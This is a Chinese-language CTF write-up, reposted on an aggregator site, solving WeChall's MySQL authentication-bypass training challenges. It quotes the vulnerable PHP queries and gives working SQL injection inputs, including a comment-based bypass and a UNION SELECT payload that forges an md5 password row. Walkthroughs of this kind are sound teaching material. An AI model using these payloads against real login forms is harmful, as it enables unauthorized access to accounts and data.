[Wechall]Training:MySQL
来源:互联网 发布:印尼屠侨真相知乎 编辑:程序博客网 时间:2024/06/11 00:08
绕过登录MySQL I:
http://www.wechall.net/challenge/training/mysql/auth_bypass1/index.php
输入“admin’#”即可绕过,没有任何的字符过滤。账号密码一起的 :$query=”SELECT * FROM users WHERE username=’$username’ and password=’$password’”;
绕过登录MySQL II:
http://www.wechall.net/challenge/training/mysql/auth_bypass2/index.php
1.这次的跟上一道bypass不一样,账号与密码是分开验证的,并且表中的uername和password是非空的,但是没有字符串过滤。关键代码:
$password = md5($password);$query = "SELECT * FROM users WHERE username='$username'";//当存在username执行查询###注入关键点###if (false === ($result = $db->queryFirst($query))) {//返回查询结果第一行 echo GWF_HTML::error('Auth2', $chall->lang('err_unknown'), false); return false;} ################################ This is the new check ###if ($result['password'] !== $password) {//密码验证####注入关键点#### echo GWF_HTML::error('Auth2', $chall->lang('err_password'), false);return false;} # End of the new code ###
2.我们知道select可以选择常量,比如select null,’232’,’988’结果为:
使用以下查询:select * from ‘users’ where 1 union select null,’admin’,’password’结果为:
3.利用这种思想可以解决这道题。但是需注意三个问题。
第一,源代码要求返回结果集的第一行,在select * from ‘users’ where username=’admin’ union select null,’admin’,’password’中让第一个select条件为假即可。
第二,注意到MD5,所以应该将password改为md5(‘password’)。
第三,注意闭合单引号。
Username:xx’ union select null,’admin’,md5(‘password’) where ‘a’=’a
Password:password
- [Wechall]Training:MySQL
- Wechall刷题(二) Training: MySQL I 总结
- WeChall Training: Get Sourced
- WeChall Training: Stegano I
- WeChall Training: WWW-Robots
- WeChall Training: ASCII
- WeChall Training: Get Sourced
- WeChall Training: Stegano I
- WeChall Training: WWW-Robots
- WeChall Training: ASCII
- [WeChall] Training: Stegano I
- [WeChall] Training: ASCII (Training, Encoding)
- WeChall Training: Crypto - Caesar I
- WeChall Training: Crypto - Caesar I
- [WeChall] Training: Crypto - Caesar I (Crypto, Training)
- [WeChall] Training: WWW-Robots (HTTP, Training)
- WeChall mysql WriteUp
- wechall php系列之Training: PHP LFI
- kscope
- Mac 磁盘自动增加,越来越小的问题
- Java异常体系结构 .
- Aurelia快速搭建
- java web监听器
- [Wechall]Training:MySQL
- 编写高效且优雅的 Python 代码
- 剖析Elasticsearch集群系列之一:Elasticsearch的存储模型和读写操作
- Linux sed的原理和用法
- 多继承与多重继承
- 基于jQuery实现的点击编辑按钮时传递参数到弹出层div
- sql语句删除重复行
- Hihocoder #1284 : 机会渺茫
- Linux ext2, ext3, ext4 文件系统解读[2]